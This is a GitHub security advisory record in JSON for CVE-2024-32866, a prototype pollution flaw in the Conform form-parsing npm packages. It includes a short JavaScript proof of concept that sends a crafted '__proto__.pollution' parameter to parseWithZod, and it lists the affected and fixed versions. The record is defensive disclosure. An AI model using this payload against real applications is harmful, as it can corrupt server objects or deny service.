{"id":"GHSA-624g-8qjg-8qxf","summary":"Conform contains a Prototype Pollution Vulnerability in `parseWith...` function","details":"### Summary\nConform allows the parsing of nested objects in the form of `object.property`. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input to `parseWith...` functions.\n\n### PoC\n```javascript\nconst { parseWithZod } = require('@conform-to/zod');\nconst { z } = require(\"zod\"); \n\nconst param = new URLSearchParams(\"__proto__.pollution=polluted\");\nconst schema = z.object({ \"a\": z.string() });\n\nparseWithZod(param, { schema });\nconsole.log(\"pollution:\", ({}).pollution); // should print \"polluted\"\n```\n\n### Details\n\nThe invocation of the `parseWithZod` function in the above PoC triggers the `setValue` function through `getSubmissionContext` and `parse`, executing the following process, resulting in prototype pollution:\n\n```javascript\nlet pointer = value;\n\npointer.__proto__ = pointer.__proto__;\npointer = pointer.__proto__;\n\npointer.polluted = \"polluted\";\n```\n\nThis is caused by the lack of object existence checking on [line 117 in formdata.ts](https://github.com/edmundhung/conform/blob/59156d7115a7207fa3b6f8a70a4342a9b24c2501/packages/conform-dom/formdata.ts#L117), where the code only checks for the presence of `pointer[key]` without proper validation.\n\n### Impact\nApplications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.\n","aliases":["CVE-2024-32866"],"modified":"2024-06-10T20:12:58Z","published":"2024-04-23T21:15:55Z","database_specific":{"cwe_ids":["CWE-1321"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2024-04-23T21:15:55Z","nvd_published_at":"2024-04-23T21:15:48Z"},"references":[{"type":"WEB","url":"https://github.com/edmundhung/conform/security/advisories/GHSA-624g-8qjg-8qxf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-32866"},{"type":"WEB","url":"https://github.com/edmundhung/conform/commit/4819d51b5a53fd5486fc85c17cdc148eb160e3de"},{"type":"WEB","url":"https://github.com/edmundhung/conform/commit/cb604dd58b99e2d12716d901a23bfca724e741ef"},{"type":"PACKAGE","url":"https://github.com/edmundhung/conform"},{"type":"WEB","url":"https://github.com/edmundhung/conform/blob/59156d7115a7207fa3b6f8a70a4342a9b24c2501/packages/conform-dom/formdata.ts#L117"}],"affected":[{"package":{"name":"@conform-to/dom","ecosystem":"npm","purl":"pkg:npm/%40conform-to/dom"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"1.1.1"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 1.1.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/04/GHSA-624g-8qjg-8qxf/GHSA-624g-8qjg-8qxf.json"}},{"package":{"name":"@conform-to/zod","ecosystem":"npm","purl":"pkg:npm/%40conform-to/zod"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"1.1.1"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 1.1.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/04/GHSA-624g-8qjg-8qxf/GHSA-624g-8qjg-8qxf.json"}},{"package":{"name":"@conform-to/yup","ecosystem":"npm","purl":"pkg:npm/%40conform-to/yup"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"1.1.1"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 1.1.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/04/GHSA-624g-8qjg-8qxf/GHSA-624g-8qjg-8qxf.json"}},{"package":{"name":"@conform-to/zod","ecosystem":"npm","purl":"pkg:npm/%40conform-to/zod"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.9.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/04/GHSA-624g-8qjg-8qxf/GHSA-624g-8qjg-8qxf.json"}},{"package":{"name":"@conform-to/yup","ecosystem":"npm","purl":"pkg:npm/%40conform-to/yup"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.9.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/04/GHSA-624g-8qjg-8qxf/GHSA-624g-8qjg-8qxf.json"}},{"package":{"name":"@conform-to/dom","ecosystem":"npm","purl":"pkg:npm/%40conform-to/dom"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.9.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/04/GHSA-624g-8qjg-8qxf/GHSA-624g-8qjg-8qxf.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H"}]}